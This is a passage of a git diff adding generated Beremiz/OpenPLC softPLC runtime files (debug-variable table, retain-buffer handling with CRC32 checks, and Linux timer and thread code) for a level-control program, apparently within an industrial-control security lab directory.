+{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if 